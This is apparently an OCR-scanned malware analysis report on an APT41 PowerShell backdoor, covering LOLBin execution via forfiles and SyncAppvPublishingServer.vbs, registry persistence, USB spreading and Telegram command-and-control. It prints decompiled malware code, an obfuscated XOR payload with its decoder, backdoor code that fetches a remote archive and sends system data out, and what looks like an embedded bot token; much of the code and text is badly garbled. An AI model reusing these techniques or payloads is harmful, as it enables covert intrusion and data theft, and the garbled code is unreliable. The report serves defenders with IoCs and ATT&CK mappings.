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APT41's Attack Chain: Exe-LolBins Leads to Powershell Backdoor with Telegram C2

Introduction

APT41 is a Chinese cyber espionage group that has been active since at least 2012.
They are known for their advanced tactics, techniques, and procedures (TTPs), which
include the use of custom-built malware and tools. One of the tools that APT41 has been
known to use is a PowerShell backdoor.

PowerShell is a scripting language that is built into Microsoft Windows, and it can be used to
automate administrative tasks and manage system configurations. APT41's PowerShell
backdoor takes advantage of this functionality to bypass traditional security measures and
gain access to target systems.

The APT41’s PowerShell backdoor is designed to be stealthy and persistent, and it is often
used as a second-stage payload in targeted attacks. Once installed, the backdoor allows
APT41 to execute commands, download and upload files, and gather sensitive information
from compromised systems.

Overall, the APT41’s PowerShell backdoor is a powerful tool that highlights the group's
sophistication and highlights the need for organizations to implement robust security
measures to defend against advanced threats.
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Who is APT417?

APT41 is a sophisticated Chinese hacking group that has been active since at least
2012. The group is known for conducting cyber espionage campaigns and
financially-motivated attacks against a wide range of targets, including governments,
businesses, and individuals. APT41 has been linked to a number of high-profile attacks,
including the 2017 Equifax data breach, and has been involved in the theft of intellectual
property, personally identifiable information, and financial data. The group is also known for
using a wide range of sophisticated tools and techniques, including custom malware, supply
chain attacks, and the exploitation of vulnerabilities in software and hardware.

Alias: Wicked Panda
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Technical Analysis

Before execution it creates a mutex named
“v653Bmua-53JCY7VQg-tgSAaiwC-SSq3D4b6”. Mutexes are used by malware to prevent
reinfection. If mutex creation is not successful, it terminates with return value 1.

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdlLine, int
1
if ( !CreateMutexA(®, @, "vb653Bmua-53ICY7Vg-tgSAaiwC-55q3D4be") )
return 1;
if ( (unsigned __int8)sub_40l000() )
Sleep(Bx3E8u);
return @;

¥

It starts execution by locating its payloads to Windows Registry one by one. First
payload contains usage of a LOLBin “forfiles.exe”. "Lolbins" is a term used to describe
"living-off-the-land binaries," which refers to legitimate system tools that can be used by
attackers to carry out malicious activities such as executing malware, stealing data, or taking
control of a compromised system. Lolbins are considered a serious security threat because
they can bypass traditional security measures that focus on detecting and blocking known
malicious files.

Normally, the Forfiles tool is used for searching but it can execute commands. So AV
Bypass is aimed by using LOLBins. Additionally,
HKCU\Environment\UserlInitMprLogonScript key is used for persistence and executes the
command automatically when system login.

if ( RegOpenKeyExA(HKEY_CURRENT_USER, "Environment", 8, '\x@F\0?', &phkResult) )
return @;
if ( RegSetValueExA(
phkResult,
"UserInitMprLogonScript"”,
2,
1u,
"C:\\Windows\\system32\\forfiles.exe /p c:\\windows\\system32 /m notepad.exe /c \"cmd.exe /c whoami >> Happdata®"
"\\z.abcd && ¥appdata®\\z.abcd && del ¥appdata¥\\z.abcd && exit\"",
strlen("C:\\Windows\\system32\\forfiles.exe /p c:\\windows\\system32 /m notepad.exe /c \"cmd.exe /c whoami >> %a"
"ppdata¥%\\z.abcd &% %appdata%\\z.abcd &R del %appdata%\\z.abcd && exit\"")
+ 1)
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It stores the credentials to be used in communication with Telegram in the registry.

Y
|| RegSetValueExA(

phkResult,

"GUID",

9,

1u,

"5621584862 : AAGGEWC TvFu7ADpnMT42PqwOoKfTgMDQKkQ: : 5028607068",

strlen("5621584862: AAGGEWCTvFu7ADpNMTA2PquOoKFTqMDQKKQ: : 5028607068") + 1) )

Then it writes the actual obfuscated Powershell payload under
HKEY_CLASSES_ROOTabcdfile\shell\open\command\abcd. Here we see the usage of
another LOLBIn “SyncAppPublishingServer.vbs”.

if ( RegSetValueExA(hKey, (LPCSTR)&byte 4BA4BY, @, 1u, "abcdfile", 9u) )
return @;
if ( RegCreateKeyExA(phkResult, "abcdfile\\shelll\open\\command", 8, @, @, @xFB@3Fu, @, &2, @) )
return @;
if ( RegSetValueFxA(
w2,
(LPCSTR)&byte 4@A4BY,
e,
1u,
"cmd.exe fc SyncAppvPublishingServer.vbs \"nj;sal abcd ($EnV:COMspEC[4, 26, 25]-jOiN'');[System.Text.Encoding]::U"
"TF8.GetString(([System.Convert]::FromBase64String((gp 'Registry::HKEY_CLASSES_ROOT\\abcdfilel\shelll\open\\comm"
"and' -Name 'abcd').'abcd')|%% -Begin{$i=0} -Process{$_ = $_ -bxor $i%%256;%i++;$_}))|abcd\"",
strlen("cmd.exe /c SyncAppvPublishingServer.vbs \"n;sal abcd ($EnV:COMspEC[4, 26, 25]-jOiN'');[System.Text.Encod"
"ing]::UTF8.GetString(([System.Convert]::FromBase64String((gp 'Registry::HKEY_CLASSES_ROOT\\abcdfile\\she"
"11\\open\\command' -Name 'abcd').'abcd')|%% -Begin{$i=0} -Process{%_ = $_ -bxor $i%%256;%i++;% 1)) |abcd\"")
+ 1) )
{

return @;

if ( RegSetValueExA(v2, "abcd", @, 1lu, aCBrwlljkvgSps®, strlen(aCOrwlljkvgSps8) + 1) )
return @;
if ( RegSetValueExA(v2, "DelegateFxecute", @, 1u, &byte 482489, 1u) )

Obfuscated payload as follows:

I aCérwlljkvg5ps® db 'cBRWL1JIKVGS5pSBZulCUsdCBsaSIpMzY6fjk9T3koOTMHTHoEDQUGDwWhy fnJ8aHMHE "
; DATA XREF: sub_4010080+168To
; sub_4610888+17FTo
db "koATkB8ESOwIRBgbEVseGBIVZIWIjayUoBh8vbGBqPTYjBRcec3x2fmNS5ThQPbjIrQE"
db 'FfQz8RHzcNNEJJF18TFEKMCUAIDKIKABgHAESABUrS+rr+/717/L78gKuhy6nG37a’
db '+tMeyurD96sn58/PzulyG8MaDiYHOj4WNG600Kgojf9deUmILf+NaXnZeb8M7N5+31"
db '7Yeqi5fv40rr9+3qjIThBubPgY+nnYTy+afso6TQnInQmZ7UmsrEjMyBw5qql93Vo’
db "KZmopLf1d2UulSwmCctIXtQK2NIay4jKyw2l i82MTozMG5GZHB5dXtReGNEFHWIB1 "
db '9VR1RARkpGaVB1HABsGRRMEh8fHhEYQALARQOIONI+ZmVrIWhuBSkmCCObd3I11HXN'
db '5cRIvdH1yfH12fRtVHxhVGB1RFRIfFhddExRHDALACQS0CgNLB11RG1kzwfXHpKii"
db "1vXt+tmsoKrDglLy2wPazubH+97f59NG6srjuj+bGuwoKKgMHmjYel /tqInlbT112d7"
db "d7319fe8dLM5pOVkIaFilvndKevv+Gbj725sIC/kfX2//qi66an7aPowMyEwB09wc "
db "vPnY/egcrHz92Hk5+BkInXBcPAB96GZz4I7MN94Nnh9N3UrI280sKkBINZB1VUZEMTs "
db ' /an8tKESKTWkGDgRpZ2cAAQdFRVPCRUCYGRBIBOLL TAONRBATIQEUMA WS cnQ4PXNG "
db "NDFzMTZ8eiBqYGEpLmRglSIraiEmb2YdGlZaGR5VVhUSX1kRF1pZDQpGRAKORGUFA"
db 'kS5LAQZPSP36sbH5/reB9fK5u/H2ur7t6qCleeblruXiqa7h5qyv3dqWl9nekpTVep'
db "mT@dabns3Kh87Ph4XKwdglxseljsK78Pe+v/HzurP4/La3+fayg+Prrq/n56qj66e’
db 'g6qC17dicmdDTmI3X1ZLd]pFck5TDxY+IxcGLIMGEgCiB390Z10T adHVyd31rPVAS'
db "VHtDYztTWO1XWiB/Sm5CSXteXXhsTFoTY2pLUmplHxsDSUhjdF@BWwIdb2JIXE18U"
db '3trBxIFOAgVBHA42LhEKDRQIPALKIyYxFhEGITYOACKPOzocVg8LEhWAQUtPAgsuL]"'
db "klHkUnIRYtLRANHCkvQyRPTEvy2bPCo6mhlvLu/PHP4vT12MXBA8HPofTrrEe3M+NG"
db '5s4fN2NOWnMDpweuck+ff28Xg34P2wNiB57ZeMgvmE6+7QmIjxj4bxsPOC7ubsraT7’
db " ruObhIDktKen6ICxBL+WhuiSm6u3pbSQBN+5ha+fvg+HmIWk1ZWZkIWEzIG1i62xm"
db "mNOUSxUSmBKRVE+IEpDaHt TSXFnXXtUTmE+NjxIbGxKUUBbd11VenJaXRN+X119X1"
db "4IZnZYBlAYXUpSCGZpeXQIeTolJTEsDHgReyIjNXwaAKBxrKRMIFxEoPXVUMTEuZwh "

Y2
S )V(
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It writes Internet Explorer to the registry to open automatically when the system is
started.

if ( RegOpenKeyExA(
HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce",

e,
OxF@83Fu,
&phkResult)
|| RegSetValueExA(phkResult, "iexplore”, ®, 1u, "C:\\Program Files\\Internet Explorer\\iexplore.exa", 8x32u) )
{
return @;
H

Here is the decryption script, which led us to new Powershell script.

sal abcd ($EnV:COMsSpEC[4, 26, 25]1-jOiN'');[System.Text.Encoding]::UTF8.GetString(([System.Convert]::FromBase64string(

' cORWL1JkVG5pS0ZuLCUsdCBsaSJpNzY6£j k9T 3koOTMHT HOEDQUGDwhy fnJ8aHMHEkoATk8ESOwIRBgbEVseGBIVZWS jayUoBh8vbGBGPTY jBRcec3x2fmN5fhQPb] JrQEFfQz8RHz cNNEJJF1(
HAESABUr9+rr+/7£7/L70gKuhy6nG37a+tMeyurD96sns0/PzulyG8MaDiYHO j 4WN60OOKgo] £ 9deUmJLE+NaXnZeb8MIN5+317Yeqi5£v40rr9+3q]j JTh8u6PgY+nnYTy+afs06TQnIngmz 7Ums
mopLfld2UuJSwmnCctIXtQK2NTay4jKyw2Li 82MTozMG5GZHB5dX tReGNEFHWIB1 9VR1RARkpGaVB1HABSGRRMEhS FHhEYQATARQO 90N T +ZmVrIWhuBS kmCCO0bd311HXNSCRIVAH1yfH1 2fREVEXE
HDA1ACQSOCGNLB11RG1kzwfXHpKiilvXt+tmsoKrDgLy2wPazubH+97£59NG6srjuj+bGwoKKgMEmM]jYeL/tqIndbT1J2d7d7319fe8dLM5pOVkIaFiJvn4Ke6vv+Ghb]725sJC/kEX2//gi66anTal
egcriHz92Hk5+BkInX0cPA096GZ4ITMN 94NNhON3UrJ20SKKBINZ01VUZEMTS / ans tKESKTWkGDGRpZ2cAAQd JRVPCRUOYGRBIBQ1 LTAONROAIQEUMA jw5cnQ4PXN6NDFZMT Z8e i 0qYGEPLIRGJIS
VVhUSX1KRF1pZDQpGRAKOROUFAKSLAQZPSP365bHS5/ re09fK5u/H2ur7t 6gCl 6e6lruxigqa7h5qyv3dqWl 9nekpTvOpmTOdabns3Kh8 7Ph4XKwdqJxseI]sK78Pe+v/HzurP4/La3+fayq+Prrq/
cmdDTmJI3X1ZLd1pfck5TDXY+IXCGLIMGEGCiB3902I0JadAVyd31rPV48VELDY Zt TWO1XWiB/ Sm5CSXteXXhsTFOTY2pLUMp1HxsDSUh jdFOBWwIdb2JIXE18U3 Lt rBXIFOAQVBHA 2LhEKDRQJIPAL
POzocVg8LEhWAQUtPAgSULjk1HkUNIRYt LRANHCkvQYRPTEVY2bPCo 6mh1vIu/PHP4vT12MXB48HPOETrr63M+NG554 ENZNOWnMDpweuck+f £28Xg34P2uliB5Z2eMgvmE6+70mI jx]j 4bxsPOCTuk
néICX8L+Whuismeu3pbSQON+5h4+Ivg+HMIWKk1 ZWZKIWE zJG11 62XmmMNOUSXUSIBKRVE+IEPOAHL TSXFNXXtUTME+N] X JbGXKUUBLA11VenJaXRN+X119X14IZnZYB1AYXUPSCGZpeXQIeTolJTE
TKRMIFxEOPXVUMTEuZWhKCWUVExCcTD1 FaKhwpDzk5Nz4cHDwIHJULQzORLDYu78W1lr600587vz8y746a/4tzIwNCt 9vqwtL7tédro6Kjvycyb7MyS7NrD8NLd9ef14vSC49DR7sE9] fvd9sXnzYe
01ru8seSFopGZuUOHVOSKK+VL4g6eTNgYXVoL2fp9+fg9zauaCpxZaCr cGXWKMOgKuupKVKTUXrU3FrTFFs fCB70D1hVGJdSmBUJ2daM1N1 fTJtOAWGCAhHaUOeGhhHQgMea01gY3xVBWRURKBIWO £
6Py5kZyBa0ic6CWACHD1AFSEKYgsZaROnF1NMMAMHFA40GQ01G10bGTK]XAE2T i QXGYMBVXNHE++u8M+1oqqgsc2+/rv7///V25qgws /88PLW/uP3/9bImdP7MqV182zjwIL715X81cXjnYHwddl
GnZwusz3/jLebl63617yLuaOvtI2P1JKavSW3joHZs0u20N6tvM7GzJud27egt4g558aSwIzKz6+1ELCXVFTVZN2¢c0Q402FfZ22zx2P3pi fF1jdivVaTDZXVEL ZeWkSFWE zaUdFbX 9BZmoY YUJ+WWE
/XBYYFQKJNBJIGZGA41I3QXGTgqY jBke 2dvM28+PD02KmenE 0pJLQATTSENA] 8 cCw5bVjQ+EEMDLFKRQTA+HUPJILkTv08 /X00TBwubnAMT 1+Mf 55MLGVP/B1870+v7yrfHpOtbRhY+D/OT15tD/ys?
gzujXyJHziJunsKgwh+ii/bmCoPueuail6uX7/q6x67PugbTumbeCkSPM]70E1 9y+3ICCgIfI3NaUib3EpIDU3pGlyLVvI1WRXbNRVZNNhXTFZYZhMKSM3V2g1RmN4YF59S1INXfHImQnUTQG11V0t
tGnABf3YPDUR4W3OEIHOVASPtNRESMY1jCC97 IDQHYRSNGGCIHWS AMTEZNALOIWS +HVIBB zg+CQs3Fx0ZPROBTTC4QgOMH1 kmDDKV 9bnAstW8oauvx 9z IJp8 PM2 /HCwCLx+eTuzrb51gzrrdoy54r
7/sHH+M748/DJyYz0zPvX0IOCs0f81iIW2sbmioYC/ggWuquksoeOkgLtodGg7avpggmkrreJ INWB2pmEqaXYt6éLExoGasoafkaiY0KWKkalxdDBVY]Fj%CMiaGBZdDp+IT4gdF9TZ3Zyeml DVUE
deEYVWUJHAHF8bQ1xX01BcwhSVIBSMTkQIgAHIN8YBX0gEAdS ISCGIGZ7B3F7 £yM8OhAUDSVVEAUGDBI0JVODG]WwgKg8 ZQRO+RROCACC+ERY 4BKQGSC3ttEDW/ £Lr3v/00fnMycrTyPEOVIHd4CH
G10LnyJ796cH/yvEXwE FMgJImA] OONnJICa29uh9rLzk6ypqf/9mz6hn TbkvaWf t 63y+vDhrZGdqui7robYipGdsTeK2qRim6DFnd7Gsp2 fg5FR29+73d fbqtnTIzhnYUY2cDZOF 1 tINDg3e2gpf2:
qCcBVNCKYBCWIRT0XGZ29]Vn93aVIRBUJWWFAI ZH1 6VHF2BCZrFTNWK3010gMLASBgABIMICFNAGEPLhYqZXVOETC6FTWGFX0gLiA6PEPCSBCWQSKIQYQRL] YQARIWOWVW1rCo7sjLz0D5/uPL1K}
r+MzE+0f 58 +yW5sXEh9nanuKagyYicluT7 7t zHguzLwMP38 cjdkqqWlK+nvICNVrKO/ 6aC/L3n9f/ zkOexi 6G/no+/vImz1K2wl 66Vna+GhJ/H3KzetaanxaKt t8SVyYmaj 66ku0kyb2hzNUS2LyT
VCHV2LXpQeURecR1Ad1 1nYn 9K fmgfe ONKGX 1 £QVhOYHNnaXdgUFsMzZmpr IBMWEhULE 34 t LAQ5GB4MExX 1gPmVgYCUzZbwMuEW9gCQgNLh 1QBAQ1 TOVNCQYAPgMNBC 6J7 SGBVNSKUWEQZ8Jsu+t5¢c]
+4c0/81r3a08+vONLT7dXmjoWPg+33y9n130/t7sviyofLEPPEIM/04 /XC1 ZKR+ZS4 tJuBIaGVoY3TgémSmaus 5vmHu+yzneD28aPo50y 1 z9i xxMj CqNeL0d / fgLzd1 YGVhIydmKWH1 puvyqukt 53
4X19fdykjcicnbGIsQS1pKUS2e1FvSGBeXHNecG57RECVa0MCX 2QY ZnIDW2hRUXPGS 3FNORQEEQM1 FQUCGTOgBSFpY3cpAil zeXFgIAS i LTBrKGsKDAU2DCApSC8 L.z 1HDFZaHisgCyU4Fz YUKwW]
dy+jw8dTZocvilydWwhodj /zcjy6tHOpd]czpWIwd7dxeDN4ZPin+7U/VHr +Nngg56bn8z 77 £Pfkeml t6al rL2e 7LKNgTu2pp+mlbC fmJi /mI3ggKu86LShb7s FNxaHQNLOmgJyco5Xe2ISquiyhp7C
10nxXPMRxXG1deWVnbWdJTHBIWFBiT 3h7Yk11bnQHDQVOELF+E1SKWWFHHWsaXUtqC1hGd18XY3VtWXdz fmsodQgHaj8 /OREHJWMVBidkB] sKLGE ] Pj SoDAIMHy BNODNFTOM3KQA+Hgs1iIgAtGzw
VJIRY3++2Z35Et0+K/z5+]4t£58/7Bov/WzN7Cc8 PXUpMrwrvHZ ze3wzugM0P3hyefr397RmsXW20SdmIvBENPs 6JHymgal50]i86gAvvz /n56qqeX15P] tvo7 jmbHs1YmP1+mMxs 7TEGZCohJKzhZn
60ICopdrS2GZnonpsaEE2TzFbb3g0RDIRYGU4cyBQU35wE 2IpaG52TmShSUBIR3Vul1sSQkSXTHXOXFF)Q3QCT1EPS01RAGC1FgYIMSMPASURARKCHI ECcTX 0mFDODGT 9gFxscNjN5c0cxKS 4RKRY
CJDEOWEELTDKOPxVMOta2pKii3L7f/r7aw9j0+dSn+Nng2c+42tfAgburud6QwOTCzY7E1JjxmerglPr30sf£z24Dc30P0npaceNXp0JWUCe7Gil4urgnpi 9/v+unJuBoYWSmEL/ /vT 58 vubuKrylgC
V343T35XU0sWbzN7W3LOu2d¥gISstckRgem0zMC1ISG55CcF5fY0ZQdmRLOZNNOjUB ZBBCWRIZBWt BCAS SRH5 ITwgCcFnF7EXwWTBg fEh 1 HDONECTwS5cz1nZmouaW0 fa2 FpLToUMXR4chgSL3QVEHY
UEVSRT05CF1YXMjAWBFBUXhcpW1FZFu+v0dejgaHVzeitogStqvTP7L6ztL22/uz817u8tbzpwdOAi TbMx4WDi8jHyZzENy5KakIOWnJaels/798nYhIXioJGApIyvSe jg6rbl4+btg+CvgosSoerel
DycGTh4yEr8vEWKaeh52vkd3f") |[ForEach-Object -Begin{$i=0} -Process{$_ = §_ -bxor $i%256;§i++;§ }))|out-File -FilePath "C:\output.txt" -Enceding UTF8

It is an obfuscated Powershell script, when we deobfuscate this it gave us the last payload.

SET-VaRiaBLe ("{0}{1]}" -f 'Te5','mx') ( [TYPE]("(2}(1}(0}" -f 'RI','.CONVe','sysTEM') ); §08314 = [tyPel ("{0}(9)(3}(4}{1}(7}(5}{8}(2}({6}" -F'10','S', 'essIonm',
*Re','S','CO','oDe','ion.','Mpr','.CoMP') ; $CDO =[TYPE] ("{1}{0}{3}{2}"-f'm.tE','SYSTe','ODiNg','xT.eNc') ; & ( ${Psh 0 Me}[41+§{p Sho 'mE} [301+'x") (&("{1}{2}{0}"
-f 'ObjECT','N','Ew-") ("{4}{1}{6}{5}{0}{7}{3}(8}{2}"-£'LALE", 'Press','M','Re','io.coM','N.Def','i0","St", a’) ([i0.meMOrYSTREAM] (get-VAriaBIE ("{1}{0}" -f 'X',
"teSm') -valueo )::("{1}{3}{2}{0}"-£ 'NG','FRO','Se64STRI', 'MBA').Invoke ((

"{18}{24}{4}{36}{10} {42} {8} {25} {22} {27} {11} {19}{45}{31} {52} {46}{47}{12}{40}{17}{32}{13}{30}{41}{26}{39}{35}{20}{44}{43}{38}{51}{5}{23}{33}{50}{15}{45}{16}{48}{29}(2
1}{2}{6}{28} {37}{0} {7} {1}{34}{14}{9} {3} "~f' CXwqwqzc4TTXvMI1+BIZCOGhRWXRYCCYLMKOGOMUBL50/dfLD1 3h6hYUqesGoFUSRDZKQAS qfXnFXDrAtrtbBDPrimzrSfdceniqre’ ,

' kaEBTKQ5VSeYXKhzdPUBX224rX1A" , ' QzgvzCozzHTSpUZTCS6TWAL" , ' 1zp29fNiB68KrujPnlEtm7R/58B8VPOXI3LB4V4T ",

'ai5a3JVC0agp0Yk+cKX7rzITAQv77PmdsSAhhdVEal fbD5kNwPOecOS/POMMX4+FCIECKCtInBYy ! ,

' Uqrugn9UypTUrt9UrtSqnoTE13f/esh3ZTGKHSxvat jK0X1iox2wxM9zGhAFpd/ 5mlp8h+ifKrqtf80ApDaVIFLOhIKiMr9FmQHQOD" , ' 1aIgFF0o+1mLYRCICL ' ,

'wrFuv7Ohn8Hi4Krj ZygXIJREOPAAXpE4Af IxY rNNhZ06V6LOVX 6 9XE1bvVvDO06yIV' , ' CE/Ja0FZwN5EG1 4VPX7evX 7F8PGSWSZZILNhWEmKYe v+w53nDs0YtAlpB+Ina/s ',
"R+cLk921mi/3EfPRNf31XgxRat8zxFMpruh6Hrvd/+bTuwkYSHIk/MxPIWD7BGwWl /TfasfgsfIv3tiHG/uc8sobyz+n9lo/rLl",

' 9D4uTvgpEKX3WZ]gjOdxkbHWIrY /n01kKjxPzhRzuR/2DTAT 35t iwYJcsDZEYPRVU 6FuWZC5GmY jwzb ZWMHACHI Qa8 PhRESJIT! ,

"WUS5XPF®JG3d7t35TYINhVOQT7suC02kTk120j snJwc3MT/kOWDgv24IPMbcIJWhLA4L1Qk5hE 30WTJBfq4AACVYWIMT ! ,

' 0h82ZWWz3b7/29d7g ffjwaxs++NC6+FOKUWGC5 9D0b00Y / F9IDE64P10RMI TaGENN OyuIvtST/KTAYpCdillwMvp”,

' YBRNyUaaHQXNYdéwp784YtSku/LHZesnuA/j4sI16Pvxe86/+xf3j4rh3Gabrl/kvbl4aweknmy' , ' fz11Q', 'kN4F6jdVliwkcufU8yh4a"',

' FZ6RvnwFdQHmagybT1cIPqlcod8JfiPykvrY/H6GOS56pEeEDa8Vio+rYpxF/Ead teU20XN0eFQcmbGkk/AlZx4f0QTbgZyri Lor9BNS5uudRZqGju8B1Q9" , ' NVB+NBTaSSQelryV/cMOv3LEF+y ', ' TVAET',
* vNpuKzMEGQp6OPFioCCpDEMCqyphiLrLimkyY fRXEZ4z JvOu6JHEMS1221 350EH6XR54 rnGphiQb+YwoVqu2VEdec++bkUy4ql /2gKFgajcsXIYNN' ,

' tgk6aktwS]8WmwECOY8GhgxI3njnmgxRaDBA8 PL7k0J7TnwWr5/R ", ' zfaLs3z5qgehwNB5 rpWLGav1kLénivPFh1Cz9x6M17SRXt1VVbZUAGECYeg+DKVH' , ' dvDOhTZByC2EOa4VE1QeGEsDx5/7427" ,
'eda7p0Wion74SUmRx+ntMdy' , ' 9tKFv5eqf hrmUam2KHpL2rg6Colwb' , "B, 'W' , ' 9ebB3v1EvQB859tx8mgbWijv075Q" , ' JQ7DVC' ,

' xegj JALENEZkd3unamsXDDk17Fe/Pu7c40gOF000QO5t t IWIPtMVE++qVXVXCGZHGIQR' , ' gA3ZAGREVO] za+ELpW2+IMMKhpt hGY+dRWD+HZT /u9DpdQZgEMQO2CCC/ppSNT /!,
'VHZ1g5TrzXKLVORKTWkbZWEWXE3KL3m6 ' , ' E1 £5xeEShbVS50S5K52Gont +1B1EWU 6VXA3m05a5SZDI3mkw0Il ",

* GbgHhUCVOG1 9gmo7 aLdZAQ8bTyBDXbWBAWNd6Mn skzUE PQNZkg1XU+aQUVPM8 6dfOUUPCCLEM156rk6YUORAVh1Lz4abR ', ' bjpP1SEeIRNpr++S 7xFAv2n/ fLMbKa 7no3snt0osP+g+MKVSKNUSJE/ !,

" HQ1qLVDACepz 6yCGQRxLZOyi//FTyvXEOghiD1HetWdB7+To90I8/+x4923 /95" ,

"NOC8541Q3zqdvoimSprbUlWYIirs7tdK9unbs 9tSQPg81a32zutX7r55hdgNjCzyUyXGQok8E] 2nV+RG51 PhkAZVOryUORGPSBTPWKT1' , 'xPz ",

' 7xW8v16v4 jmgUhKO/GVER+a85nZRxQMaA1Rw5E7 IAPka 3dOFZCa zzXT/DFXG25Mi ZPkpJREFCnd +bzxcGeHII3CZQAZI)T6" , ' uAVOb/VevdfhxX+zDHpzkQiEaMKLjNZ8Yqg4iEL" ,
'"B4yUAhuvHy36kZInRSFIryv1JoUw0', '9xR8cyUgVuhibwX6ciMFuWaayUhpk', 'm7tX4vesJkOESmzX91sAh/Z0VeJMA+1iTKC/yxgXMn /XHh4Wi Yx4ui f1VYPBGRXR' ,
"ROGVWaINmCtLfzON28FSVIJZRYC7znZZBkT]6DD/0YvC0S1kCZIDioO8Wn 1QXONTKL+XTKbKFgga+wenl+/3xJhPU/MZgJ" , ' SmHW64SSdf546+9184An6RURUGL ", 'euNCczZOrRLCAfgeLQI62BYZSY',

' ££8yhmG1G8Qdt 9T6AqW+g5FDEiey5upFnoC]dGYRE7q9nbycLLNbWVB5vh 5pglIXeWDHUEI 2MXKRNS0SSLtGiVOhSNAGIn' , ' PKMULPAL5)V' , ' L8GT/PDB/9r6BrBK3RWA ', ' Z9WW4QOUZVDE] JLLY/BN2Z2" ,
'A0aFai+b30X3ALITRbVKh4ijTL' , ' ThWoUUarf','VQwS3CRTQPWIM')), ( Get-vArIABLe ("{1}{0}"-f '314','0S') ) .vAlue::"DE c OMpRE 'sS")|&("{0}{1}"-f 'FoRea','CH') { &(
"{2}{1}{0}" -f 'T','bjEC','NEw-0') ("{2}{3}{1}{0}" -f'eADEr','mR','io.ST',"REa')( ${_}, ( iteM ("var"+"ia"+"ble:cd"+"0") ).vALue::"asC'Ii" ) }).("{1}{0}{2}"-f
'EAd','R', 'toenD').Invoke ()




APT41's Attack Chain: Exe-LolBins Leads to Powershell Backdoor with Telegram C2

Last payload is a Powershell Backdoor which is not traditional. It can infect Removable
Devices and uses Telegram for C2 Server.

[Net.ServicePointManager
$ErrorActionPreference=

:SecurityProtocol=[Net.SecurityProtocolTypel::T1s12;

) ywhile ((iwr $a) Statuﬁccde -ne 71
O nt within 5

shere Ta:

H$Action =1
1 (gwmi cim logicaldisk|?{($_.drivetype -eq Z)-and(Test-path "5 (5 _
if($null -eq $_) {return}

id)\")}) .DevicelID|%{

] try{Expand-Archive -Path "Senv:temp\xxx. 21p“ —DestlnatlonPath "Senv:temp" -force}catch{
$uri = "https: S d/main/xxx.qgif";
Start-BitsTransfer -Source $uri -Destlnatlon "g i

g Expand Archlve -Path " zip" =-DestinationPath "

-Recurse -Force;

emp" -force}

ttrib +s5 +h
C1

5 sm";attrib +s +h " SFUrattrib 45 +h
\" =Directory -force) 1?{$_.name -notin ('dism','SREC
1f($nu11 -eq $ ){return}

attrib +s +h "%
$Wshshell = New-Object —comobject wscript. Shell
$Shortcut = $Wshshell.CreateShortcut("S
$Shortcut.TargetPath = ]
$shortcut.Arguments =
$Shortcut.IconLocation =
$shortcut.WorkingDirectory =
$Shortcut.save()

Gi "S_\*.pdf" -force) |%{
if ($null -eq $ ) {return}
attrib +5 +n "¢
$Wshshell = New-Object -comObject Wscript. Shell
$Shortcut = $Wshshell. Createshortcut("’ (s
$Shortecut.Targetpath = "
$Shortecut.Arguments = "/c :
$shortcut.IconLocation = "
$Shortcut.WorkingDirectory =
$shortcut.save()

Backdoor sends system information and IP address (using ip-api) to C2 Server.

while (-not $ip) {Sleep (Get-Random 100);§ip=irm "http: T

$ip local = (Get-NetIPConfiguration|?{§_.IPv4DefaultGateway -ne $null -and $_ .NetAdapter.Status -ne "Di:
$tk,$id = (gp $reg -name GUID).GUID -split "::"
$tkl,$idl = (gp $reg -name GUIDI1) .GUID1 -split
$tk2,$id2 = (gp $reg -name GUID2) .GUID2 -split
$tks=0@ ($tk, $tkl, $tk2) ;$ids=@ ($id, $idl,$id2)
$model = (Get-WmiObject win32_computersystem) .model

$hd = (get-partition -DriveLetter Clget-disk).FriendlyName

$os,Stype = ; P ctType'1%{(Get-CimInstance -ClassName Win32_OperatingSystem).$_}
$av = ((Get- ClmInstance -Name pace root/SecurltyC nterz -ClassName AntivirusProduct) . dlsplayName
$info O

Suri =

d"}) .IPv4Address.IPAddress

rt -Unigue) -join

7]
<



APT41's Attack Chain: Exe-LolBins Leads to Powershell Backdoor with Telegram C2

Infinitely loops to wait commands that will come from C2 Server.

lwhile (1) {

]

Sleep (Get-Random ;..);$t_msg=$tks|%{
$mg=(irm -Uri "S5a/bots /getUpdates").result.message;
$mg|Add-Member -NotePropertyName token -NotePropertyValue $_;$mg
}1?{$_.chat.id -in $ids}|sort date;
$t_msgl|3{
if ($m -1t $_.date){
$m=$_.date;sp $reg -name date -value $m;
$name, $task=$_.text -split " :: ";$name=$name -split ", ";
if(($cn -in Sname) -or ($name -like "211")) {
$uri="S5a/bots (5 .token)/sendM ge?
$ms=(§task|<4ID -ErrorVariable b) |Out-String;
$i=0;while ($i -1t °){
Sok = $null;S$i+=1
Sok = (iwr "Suri’
if (5b) {iwr "Suri”
Sleep(Get-Random 1

}

}
$tks=@ ($tk, $tkl, $tk2) ;$ids=0 ($id, $id1,$id2)

$m=(gp $reg -name date) .date

’chat id=5($ .chat.id)&text=5info"

gth)] -join '')").StatusCode
-5info.Length) ]

~join '")")




YARA Rule
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APT41's Attack Chain: Exe-LolBins Leads to Powershell Backdoor with Telegram C2

Indicators Of Compromise (I0OC)

TYPE IoC
SHA-256 HASH bb3d35cba3434f053280fc2887a7e6be703505385e184da4960e8
db533cf4428
SHA-256 HASH d71f6fbc9dea34687080a2e12bf326966f6841d51294bd665261e0
7281459eeb
URL hXXps://raw.githubusercontent[.]Jcom/efimovah/abcd/main/xxx.gif
URL hXXp://ip-api[.]Jcom/json

MITRE ATT&CK

Technique Name Technique ID

Windows Management Instrumentation |T1047

PowerShell T1059.001
Registry Run Keys / Startup Folder T1547.001
System Network Configuration Discovery|T1016
Application Layer Protocol T1071
Modify Registry T1112
Y7
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